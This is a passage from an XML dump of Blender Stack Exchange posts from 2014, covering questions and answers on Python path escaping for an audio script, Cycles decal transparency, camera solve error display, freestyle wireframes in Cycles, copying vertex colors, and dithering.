  <row Id="9257" PostTypeId="2" ParentId="9249" CreationDate="2014-05-10T10:44:43.960" Score="4" Body="&lt;p&gt;I just tested your file with one of my own .mp3s and found two problems:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The path contains backslashes. This is standard in Windows, but has special meaning in many programming languages. The backslash means that the following character should not be interpreted as a normal character but as a control character (like &lt;code&gt;\n&lt;/code&gt; stands for new-line and &lt;code&gt;\a&lt;/code&gt; will make a beeping sound). Your path contains a &lt;code&gt;\0&lt;/code&gt; which (at least in C) is interpreted as 'End of String'. This messes up your path: When the string ends there, the file is actualy a folder and has no extension. Thus it can not be recognized as a supported audio format.&lt;br&gt;&#xA;There are two possible solutions:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Replace all backslashes with forward slashes &lt;code&gt;/&lt;/code&gt; and make a Unix-style path&lt;/li&gt;&#xA;&lt;li&gt;Replace them with double backslashes &lt;code&gt;\\&lt;/code&gt;. The first backslash removes the special meaning of the second backslash and makes it a normal character again.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You wrote &lt;code&gt;true&lt;/code&gt; instead of &lt;code&gt;True&lt;/code&gt; (with a capital letter) in line 37. This is a minor issue, but causes an error when you run the script ;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that your script runs fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt;&lt;br&gt;&#xA;I just found another mehtod to use string literals with backslashes. If you write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mypath = r&quot;C:\Path\To\Some\File.mp3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;r&lt;/code&gt; in front of the string literal tells python that this is a so-called raw string literal. This will preserve the backslashes and not use them to create control characters.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-08-19T12:16:41.643" LastActivityDate="2014-08-19T12:16:41.643" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9258" PostTypeId="2" ParentId="9249" CreationDate="2014-05-10T11:01:51.183" Score="3" Body="&lt;p&gt;In addition to the points maddin45 &lt;a href=&quot;https://blender.stackexchange.com/a/9257/12&quot;&gt;shared&lt;/a&gt; which directly pertain to your script, to play &lt;code&gt;.mp3&lt;/code&gt; files in Blender, you need a build that was compiled with &lt;code&gt;ffmpeg&lt;/code&gt; support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your current build for some reason doesn't have this, you can always grab a &lt;a href=&quot;https://blender.stackexchange.com/questions/3438/where-can-i-get-blender-test-builds&quot;&gt;new one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-05-10T11:17:27.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9259" PostTypeId="2" ParentId="9255" CreationDate="2014-05-10T11:04:25.013" Score="5" Body="&lt;p&gt;In Texture Paint Mode, Go to Options Panel &gt;&gt; Appearance &gt;&gt; and Select the Show Brush check box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hO6WT.jpg&quot; alt=&quot;Disabled&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RPMmd.jpg&quot; alt=&quot;Enabled&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-05-10T11:04:25.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9260" PostTypeId="2" ParentId="7363" CreationDate="2014-05-10T12:48:09.290" Score="4" Body="&lt;p&gt;Make sure 'Auto Run Python Scripts' is ticked in the File -&gt; User Preferences Menu. I had the same problem and that fixed it.&lt;/p&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2014-05-10T12:48:09.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9261" PostTypeId="1" CreationDate="2014-05-10T14:01:03.017" Score="3" ViewCount="1813" Body="&lt;p&gt;I'm trying to apply the logo onto the glossy part and cycles render ignores the transparency and just makes it black. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UyOi5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UyOi5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried both png and tga using the multiple builds of blender. And it looks weird in texture mode even though the uv map shows transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FUogW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FUogW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.mediafire.com/download/ppizp0bsawsp5za/keyboard3.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blendfile&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3435" LastEditorUserId="599" LastEditDate="2014-05-10T18:40:55.450" LastActivityDate="2014-05-11T03:09:42.360" Title="Cycles not using transparency in decal texture?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9263" PostTypeId="2" ParentId="9232" CreationDate="2014-05-10T14:44:02.820" Score="1" Body="&lt;p&gt;It is an API design bug that the collection of line sets does not have a .new() and .remove() method.&#xA;I will address this problem as soon as possible, preferably in the next Blender 2.71 release.&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2014-05-10T14:44:02.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9264" PostTypeId="2" ParentId="9250" CreationDate="2014-05-10T16:21:58.483" Score="2" Body="&lt;p&gt;The reason you have fewer vertices than expected is because vertices that are in the exact same place as other vertices can often be treated as just one vertex.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where index tracking comes in.  It's the sort of thing that GPU's rely on to reduce calculations since many of the calculations done on one vertex are also valid for the vertices which are also in the same spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the information that has already been calculated for one vertex can be fetched from cache memory and reused for all vertices that have matching index numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CGB2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-05-10T16:21:58.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9265" PostTypeId="2" ParentId="9261" CreationDate="2014-05-10T16:26:19.920" Score="-2" Body="&lt;p&gt;Did some stuff with nodes thanks to this video &lt;a href=&quot;https://www.youtube.com/watch?v=Lw-YHoxpAnk#&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=Lw-YHoxpAnk#&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zkwa8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3435" LastEditorUserId="241" LastEditDate="2014-05-10T16:37:02.253" LastActivityDate="2014-05-10T16:37:02.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9267" PostTypeId="1" CreationDate="2014-05-10T17:54:35.040" Score="4" ViewCount="531" Body="&lt;p&gt;I'm following &lt;a href=&quot;https://www.youtube.com/watch?v=CVPcT0dJmoY&amp;amp;index=2&amp;amp;list=FLKtxZne3L2j3O0wqQY2FvHg&quot; rel=&quot;nofollow noreferrer&quot;&gt;a tutorial on Camera Tracking&lt;/a&gt;, but my Camera Solve Error is not being displayed where it should be (in the green box): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6OnZx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tutorial video, at one point it just appears magically. What is going wrong here?&lt;/p&gt;&#xA;" OwnerUserId="3435" LastEditorUserId="2173" LastEditDate="2014-05-10T22:17:31.777" LastActivityDate="2014-05-10T22:19:06.547" Title="Camera Solve Error is not displayed" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9268" PostTypeId="2" ParentId="9261" CreationDate="2014-05-10T18:11:50.413" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In fact, the transparency of that logo wasn't ignored. The reason why the logo's background shows black is that you just see though it, and there's little light and nothing behind (inside the keyboard, actually).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this case, all you need to do is simply mix it with a node group containing the same node setup as the keyboard material (the one located in the first material slot):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TOyvK.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="2173" LastEditDate="2014-05-11T03:09:42.360" LastActivityDate="2014-05-11T03:09:42.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9269" PostTypeId="1" AcceptedAnswerId="14428" CreationDate="2014-05-10T20:59:16.657" Score="4" ViewCount="590" Body="&lt;p&gt;I have the windows on the house mesh shown in this image set up to emit indirect light (material emit: 1.00, World Indirect Lighting Factor 5.00, Bounces 4) and it's almost fine, except the fact that every other window frame on the bottom ground floor is significantly darker than the one next to it, and other windowframes in the render, for that matter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VaXHh.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given it occurs on every duplicate of the window-having mesh (two storeys of windows on one protrusion is a mesh, so there are four visible in the scene) I can only presume it represents some error in the construction of the mesh (a similar problem occurred earlier when a stray face on the attic floor covered part of the windows there) but I have been unable to find either redundant faces or incorrect normals in those places. Can anybody tell what's going wrong in this render that would cause this problem? &lt;/p&gt;&#xA;" OwnerUserId="2960" LastEditorUserId="599" LastEditDate="2014-07-23T22:21:48.733" LastActivityDate="2014-07-27T19:37:27.363" Title="Indirect lighting casting &quot;shadows&quot; where it should not" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9270" PostTypeId="2" ParentId="9267" CreationDate="2014-05-10T22:11:04.460" Score="3" Body="&lt;h2&gt;Showing Camera Solve Error&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At &lt;a href=&quot;https://www.youtube.com/watch?v=CVPcT0dJmoY&amp;amp;index=2&amp;amp;list=FLKtxZne3L2j3O0wqQY2FvHg&quot; rel=&quot;nofollow noreferrer&quot;&gt;30:47 in the tutorial&lt;/a&gt;, Andrew shows how to calculate the &lt;em&gt;Camera Solve Error&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Tools&lt;/em&gt; panel →  &lt;em&gt;Solve&lt;/em&gt; section →  click &lt;em&gt;Camera Motion&lt;/em&gt; botton&lt;br&gt;&#xA;(This button is shown highlighted in green below) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Camera Solve Error&lt;/em&gt; is then shown on the &lt;em&gt;Movie Clip Editor&lt;/em&gt; header on the far right&lt;br&gt;&#xA;(As shown highlighted in orange below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f8gWK.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Troubleshooting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here are a few points to check if the &lt;em&gt;Camera Solve Error&lt;/em&gt; is not displayed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Note that before you can get the &lt;em&gt;Camera Solve Error&lt;/em&gt;, you must track all the tracking markers by clicking the &lt;em&gt;Camera Motion&lt;/em&gt; Solve button, as shown at 22:48 in the video. Here are some points to make sure you notice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First, make sure your green frame cursor on the Timeline window is at frame 1:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g8Si0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, select ALL of the tracking markers (select &lt;em&gt;All&lt;/em&gt; by pressing &lt;kbd&gt;A&lt;/kbd&gt; until all the markers are bright yellow, as shown below)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then press the &lt;em&gt;Track Markers (Forward)&lt;/em&gt; button, highlighted in green:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zg6Fm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should then see it track all the markers like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8mOMz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One thing that might be confusing about that tutorial video is that at 28:26, there is a break in the tutorial where a section of the video has been deleted/removed from the video. At that point, the tutorial maker, Andrew, has done some things, including calculated his &lt;em&gt;Camera Solve Error&lt;/em&gt; and then come back to finish the tutorial. So, at 28:27 when the video picks back up, &lt;em&gt;suddenly&lt;/em&gt; there is a &lt;em&gt;Camera Solve Error&lt;/em&gt; shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QjAu7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had been following all the steps of the tutorial up to there, you would NOT have a solve error displayed there -- the tutorial doesn't describe how to do that until 30:47, as explained above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this might explain why you see it appear &quot;magically&quot; -- just ignore that until 30:47.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-10T22:19:06.547" LastActivityDate="2014-05-10T22:19:06.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9271" PostTypeId="1" AcceptedAnswerId="9274" CreationDate="2014-05-10T22:26:43.533" Score="9" ViewCount="3829" Body="&lt;p&gt;Is there a way to make a render with freestyle in cycles and use it as a wireframe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what technique I use, blender always gives me a stretched wireframe. And by that I mean the wireframe is not equal because the thickness of the wires depends on the scaling of the polygons (if you use the image editor for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make a render with equal wires like freestyle in the blender internal render engine does?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="599" LastEditDate="2014-05-10T22:52:52.867" LastActivityDate="2016-02-28T01:37:31.727" Title="Render a wireframe with equal thickness in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9272" PostTypeId="1" CreationDate="2014-05-10T22:43:14.467" Score="1" ViewCount="94" Body="&lt;p&gt;How to make a render with a curved along with a straight wireframe in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curved - The original geometry; &#xA;Straight - The wires the are created by the subdivision surface;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured how to do this using the image editor but the wires of the wireframe are not equal because the thickness of the wires depend on the scaling of the poligons.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-05-11T02:17:09.657" LastActivityDate="2014-05-11T02:17:09.657" Title="How to make a render with a curved along with straight wireframe in cycles?" Tags="&lt;wireframe&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-05-11T05:54:18.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="9273" PostTypeId="2" ParentId="9271" CreationDate="2014-05-10T22:49:11.913" Score="4" Body="&lt;p&gt;One way is the &lt;em&gt;wireframe modifier&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a wireframe modifier, then disable &lt;em&gt;Replace Original&lt;/em&gt; and set the &lt;em&gt;Material Offset to &lt;code&gt;1&lt;/code&gt;&lt;/em&gt; (&lt;code&gt;0&lt;/code&gt; uses the first slot, &lt;code&gt;1&lt;/code&gt; uses the second, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oy6hI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure &lt;em&gt;Relative thickness&lt;/em&gt; is &lt;strong&gt;disabled&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a material for the wires in the second material slot of the object with the modifier by pressing the plus icon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/shxh2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlIbd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-10T22:49:11.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9274" PostTypeId="2" ParentId="9271" CreationDate="2014-05-10T23:22:32.487" Score="12" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As of &lt;a href=&quot;https://developer.blender.org/rBf75d87bd765fa8d961311eccf979c30665c3d037&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt; (will be in 2.72), freestyle is now natively supported in cycles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that you can set up the freestyle lines how you would in BI, then render them straight in cycles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your object and enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mark everything as a freestyle edge by selecting everything (&lt;kbd&gt;A&lt;/kbd&gt;) and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt; Mark Freestyle edge&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sr6oU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Freestyle&lt;/em&gt; in &lt;em&gt;Properties editor &gt; Render settings&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixEqt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Edge marks&lt;/em&gt; in &lt;em&gt;Properties editor &gt; Render layers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3uAX9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hOkjW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Original answer:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use two scenes, one which will render the lines in freestyle, and one which will render the scene in cycles.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a linked copy of the new scene by pressing the &lt;strong&gt;+&lt;/strong&gt; icon in the &lt;em&gt;info header&lt;/em&gt; and selecting &lt;em&gt;Link Objects&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbpR1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way moving objects around in one scene will update them in the other scene too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable freestyle in &lt;em&gt;Render settings &gt; Freestyle&lt;/em&gt;, and adjust the line thickness as desired.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For each object, enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), select all (&lt;kbd&gt;A&lt;/kbd&gt;), and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt;Mark Freestyle Edge&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OvbvO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable everything except &lt;em&gt;Freestyle&lt;/em&gt; in &lt;em&gt;Properties &gt; Render layers &gt; Layer&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkEV0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the compositor (be aware that nodes added to the compositor are scene-specific), add a new renderlayer node and set the scene to your BI scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ueQ1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Combine with an alpha over node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ndcyQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When you render, both scenes will be automatically rendered and combined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29093&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example .blend&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-12T02:36:24.113" LastActivityDate="2014-08-12T02:36:24.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9275" PostTypeId="1" AcceptedAnswerId="9276" CreationDate="2014-05-11T02:08:36.807" Score="3" ViewCount="3183" Body="&lt;p&gt;I duplicated an object with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; several times, then painted some vertex colors on one of the duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I think I did this sort of backwards as I can't find a way to copy vertex colors from one object to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to copy the vertex colors from one object to another identical object?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-11T02:08:36.807" Title="How to copy vertex colors?" Tags="&lt;linked-data&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9276" PostTypeId="2" ParentId="9275" CreationDate="2014-05-11T02:08:36.807" Score="4" Body="&lt;p&gt;Vertex colors are object data, so can be copied/linked with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt;Object Data&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will copy/link all the object data (including mesh data) of the active object to the selected object(s). Doing this after duplicating with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; is the same as duplicating with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-11T02:08:36.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9279" PostTypeId="1" AcceptedAnswerId="9280" CreationDate="2014-05-11T02:29:10.040" Score="5" ViewCount="8029" Body="&lt;p&gt;How to make a dithering effect in blender? &#xA;Something like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://emulation-general.wikia.com/wiki/File:Cheryl_compared.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://img3.wikia.nocookie.net/__cb20130716184206/emulation-general/images/thumb/2/2f/Cheryl_compared.png/640px-Cheryl_compared.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the nature of the render engine, it does produce some kind of dithering, but How to get more of it? Is there a way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The picture on the right is dithering (dithering is a process of colour effects that the computer makes to make an image, video or animation to look like a higher resolution. The resolution is the same, but the effect is chеаting the eye like it is).&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.603" LastActivityDate="2015-08-23T05:26:33.583" Title="How to make a Dithering effect in blender?" Tags="&lt;rendering&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9280" PostTypeId="2" ParentId="9279" CreationDate="2014-05-11T02:39:41.863" Score="4" Body="&lt;p&gt;I assume you are referring to &lt;a href=&quot;http://en.wikipedia.org/wiki/Dither&quot; rel=&quot;nofollow noreferrer&quot;&gt;this kind of dithering&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dither is an intentionally applied form of noise used to randomize quantization error, preventing large-scale patterns such as color banding in images. Dither is routinely used in processing of both digital audio and digital video data, and is often one of the last stages of audio production to compact disc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, it's used to break up bands that appear when you have too few colors in your image. For example, the image on the left is without dithering, the image on the right is with dithering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Dithering_example_undithered_web_palette.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/b/be/Dithering_example_undithered_web_palette.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Dithering_example_dithered_web_palette.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/6/6d/Dithering_example_dithered_web_palette.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can turn up the amount of dithering noise in &lt;em&gt;Render settings &gt; Post processing&lt;/em&gt;, however this is really only meant for removing &lt;a href=&quot;http://en.wikipedia.org/wiki/Colour_banding&quot; rel=&quot;nofollow noreferrer&quot;&gt;banding artifacts&lt;/a&gt; which sometimes occur in certain lighting setups (without reducing the number of colors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example (click on image for full size):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tdJhC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tdJhC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gA34a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gA34a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that blender can output full floating point &lt;a 